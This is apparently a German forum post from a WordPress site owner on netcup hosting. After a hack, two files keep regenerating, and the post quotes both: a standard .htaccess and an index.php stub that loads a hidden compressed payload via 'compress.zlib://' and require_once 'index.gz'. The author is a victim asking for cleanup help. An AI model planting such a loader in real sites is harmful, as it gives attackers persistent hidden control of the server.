Hallo,
bei mir wurde leider eine WordPress-Seite gehackt.
WordPress selbst war auf dem aktuellen Stand, daher vermute ich die Ursache in einem veralteten Plugin.
Ich habe daraufhin alle Dateien gelöscht. Zwei Dateien lassen sich jedoch nicht entfernen. Wenn ich den Ordner httpdocs lösche und anschließend neu anlege, werden diese zwei Dateien automatisch wieder erstellt:
Screenshot 2026-01-08 161544.png
Apache Configuration
index.php:
<?php
//ヾ(●゜▽゜●)♡
$RF = 'compress.zlib://';
require_once $RF.'index.gz';?>
.htaccess:
# BEGIN LSCACHE
# END LSCACHE
# BEGIN NON_LSCACHE
# END NON_LSCACHE
# This file was updated by Duplicator on 2024-04-04 12:46:04.
# See the original_files_ folder for the original source_site_htaccess file.
# BEGIN WordPress
# Die Anweisungen (Zeilen) zwischen „BEGIN WordPress“ und „END WordPress“ sind
# dynamisch generiert und sollten nur über WordPress-Filter geändert werden.
# Alle Änderungen an den Anweisungen zwischen diesen Markierungen werden überschrieben.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
Alles anzeigen
Egal, was ich versuche, die beiden Dateien sind sofort wieder vorhanden.
Der netcup-Support reagiert bisher leider kaum bzw. sehr langsam. Dadurch ist meine Website nun bereits seit über zwei Tagen offline.
Was kann ich am besten machen?